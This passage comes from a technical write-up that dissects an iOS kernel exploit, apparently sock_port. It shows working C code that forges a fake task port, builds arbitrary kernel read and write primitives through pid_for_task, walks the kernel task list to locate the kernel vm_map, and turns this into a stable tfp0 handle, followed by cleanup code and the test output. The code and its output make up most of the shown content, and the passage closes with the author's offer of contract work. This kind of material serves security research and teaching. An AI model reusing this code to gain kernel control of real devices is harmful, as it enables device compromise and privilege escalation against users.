ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0, 0x1000, p, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
mach_port_t *received_ports = msg->ool_ports.address;
mach_port_t our_port = received_ports[0]; // fake port!
free(msg);
Now we hold both the user-space handle and the kernel address of the Fake Task Port.
8. Filling in VM_MAP
The author implements two kernel arbitrary-read primitives here. Let’s analyze the underlying read logic.
fake_task’s bsd_info is stored into pointer read_addr_ptr. The kr32 macro sets read_addr_ptr, then calls pid_for_task() — this logic is genuinely opaque until you trace it through:
uint64_t *read_addr_ptr = (uint64_t *)((uint64_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
#define kr32(addr, value)\
if (SMAP) {\
read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);\
}\
*read_addr_ptr = addr - koffset(KSTRUCT_OFFSET_PROC_PID);\
if (SMAP) {\
write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);\
}\
value = 0x0;\
ret = pid_for_task(our_port, (int *)&value);
uint32_t read64_tmp;
#define kr64(addr, value)\
kr32(addr + 0x4, read64_tmp);\
kr32(addr, value);\
value = value | ((uint64_t)read64_tmp << 32)
Think about the PID path. Getting a PID from a port kernel address is:
*(*(*(fake_port + offset_kobject) + offset_bsd_info) + offset_p_pid)
If we set kobject to addr - offset_p_pid (where addr is the address we want to read), the expression reads exactly the data at our addr:
*(addr - offset_p_pid + offset_p_pid) => *addr
Conclusion: reading read_addr_ptr and setting it in kr32() is equivalent to setting task->bsd_info to addr - offset_p_pid. When pid_for_task() fetches the PID, we get an arbitrary read. On top of that, the kr64() macro does an 8-byte read.
This kernel read primitive is really elegant.
Use it to walk the task list: check whether this task’s PID is 0; if not, move to the previous task; when we find PID 0, read VM_MAP:
uint64_t struct_task;
kr64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), struct_task);
printf("[!] READING VIA FAKE PORT WORKED? 0x%llx\n", struct_task);
uint64_t kernel_vm_map = 0;
while (struct_task != 0) {
uint64_t bsd_info;
kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO), bsd_info);
uint32_t pid;
kr32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID), pid);
if (pid == 0) {
uint64_t vm_map;
kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP), vm_map);
kernel_vm_map = vm_map;
break;
}
kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV), struct_task);
}
printf("[i] kernel_vm_map: 0x%llx\n", kernel_vm_map);
Write the VM_MAP into our Fake Task Port, and we have a cobbled-together TFP0:
read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);
fake_task->lock.data = 0x0;
fake_task->lock.type = 0x22;
fake_task->ref_count = 100;
fake_task->active = 1;
fake_task->map = kernel_vm_map;
*(uint32_t *)((uint64_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_ITK_SELF)) = 1;
if (SMAP) {
write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
}
Initialize the global tfpzero:
static mach_port_t tfpzero;
void init_kernel_memory(mach_port_t tfp0) {
tfpzero = tfp0;
}
init_kernel_memory(our_port);
Allocate 8 bytes, write 0x4141414141414141, read it back — success means tfpzero works:
uint64_t addr = kalloc(8);
printf("[*] allocated: 0x%llx\n", addr);
wk64(addr, 0x4141414141414141);
uint64_t readb = rk64(addr);
printf("[*] read back: 0x%llx\n", readb);
kfree(addr, 8);
One note: everything allocated here is kernel memory, whose range is:
#define VM_MIN_KERNEL_ADDRESS ((vm_address_t) 0xffffffe000000000ULL)
#define VM_MAX_KERNEL_ADDRESS ((vm_address_t) 0xfffffff3ffffffffULL)
The k*() functions are all built on tfpzero.
Allocation — kalloc():
uint64_t kalloc(vm_size_t size) {
mach_vm_address_t address = 0;
mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);
return address;
}
Reads — rk32() and rk64():
uint32_t rk32(uint64_t where) {
uint32_t out;
kread(where, &out, sizeof(uint32_t));
return out;
}
uint64_t rk64(uint64_t where) {
uint64_t out;
kread(where, &out, sizeof(uint64_t));
return out;
}
size_t kread(uint64_t where, void *p, size_t size) {
int rv;
size_t offset = 0;
while (offset < size) {
mach_vm_size_t sz, chunk = 2048;
if (chunk > size - offset) {
chunk = size - offset;
}
rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
offset += sz;
}
return offset;
}
Writes — wk32() and wk64():
void wk32(uint64_t where, uint32_t what) {
uint32_t _what = what;
kwrite(where, &_what, sizeof(uint32_t));
}
void wk64(uint64_t where, uint64_t what) {
uint64_t _what = what;
kwrite(where, &_what, sizeof(uint64_t));
}
size_t kwrite(uint64_t where, const void *p, size_t size) {
int rv;
size_t offset = 0;
while (offset < size) {
size_t chunk = 2048;
if (chunk > size - offset) {
chunk = size - offset;
}
rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, (int)chunk);
offset += chunk;
}
return offset;
}
Free — kfree():
void kfree(mach_vm_address_t address, vm_size_t size) {
mach_vm_deallocate(tfpzero, address, size);
}
9. A stable TFP0
new_tfp0 is the TFP0 we’ll actually use. find_port() also reads through the tfpzero above:
mach_port_t new_tfp0 = new_port();
uint64_t new_addr = find_port(new_tfp0, self_port_addr);
As noted early on, all ports live as ipc_entry_t in is_table. Given a user-space port we can compute its index and read out the port’s kernel address:
uint64_t find_port(mach_port_name_t port, uint64_t task_self) {
uint64_t task_addr = rk64(task_self + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
uint32_t port_index = port >> 8; // take the index
const int sizeof_ipc_entry_t = 0x18;
uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t));
return port_addr;
}
Allocate fresh kernel memory for the Fake Task, write fake_task there via kwrite(), point the Fake Task Port’s ip_kobject at it, and finally refresh new_tfp0’s memory at new_addr to get the final TFP0:
uint64_t faketask = kalloc(0x600);
kwrite(faketask, fake_task, 0x600);
fakeport->ip_kobject = faketask;
kwrite(new_addr, (const void*)fakeport, sizeof(kport_t));
Repeat the write/read test to confirm new_tfp0 works:
init_kernel_memory(new_tfp0);
printf("[+] tfp0: 0x%x\n", new_tfp0);
addr = kalloc(8);
printf("[*] allocated: 0x%llx\n", addr);
wk64(addr, 0x4141414141414141);
readb = rk64(addr);
printf("[*] read back: 0x%llx\n", readb);
kfree(addr, 8);
Nicely done:
[+] tfp0: 0x6203
[*] allocated: 0xfffffff008e1f000
[*] read back: 0x4141414141414141
10. Cleaning up
Remove the cobbled-together port from is_table, drop the fds kernel buffer (it was already freed), and close the remaining pipe handles and IOSurface:
// get is_table
uint64_t task_addr = rk64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
// get the index
uint32_t port_index = our_port >> 8;
const int sizeof_ipc_entry_t = 0x18;
// clear it
wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0);
wk64(is_table + (port_index * sizeof_ipc_entry_t), 0);
// this pipe_buffer is already freed; null the pointer too
wk64(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER), 0); // freed already via mach_msg()
if (fds[0] > 0) close(fds[0]);
if (fds[1] > 0) close(fds[1]);
if (port_fds[0] > 0) close(port_fds[0]);
if (port_fds[1] > 0) close(port_fds[1]);
free((void *)fakeport);
deinit_IOSurface();
return new_tfp0;
11. Wrap-up
This writeup covers the broad strokes, and a lot of details remain unexplored — the heap allocator (which paths are shared and which are bespoke), the struct-offset derivations, and exactly what value each ipc_port member should hold when forging a port. I’m still fuzzy on several of these myself; they’ll firm up as I analyze more bugs.
References
- https://raw.githubusercontent.com/jakeajames/sock_port/master/sock_port.pdf
- https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core
Colin Xiao — I take on contract reverse-engineering work, and writeups like this are how I show what I can do. If you need help with anything in this space — including but not limited to the areas I cover above — I’m available. No project is too big or too small — if it’s reverse engineering and I can do it, I’ll take it. DM me on X (@colinxiao_lab) or Telegram (@ColinXiao666).
Get in touch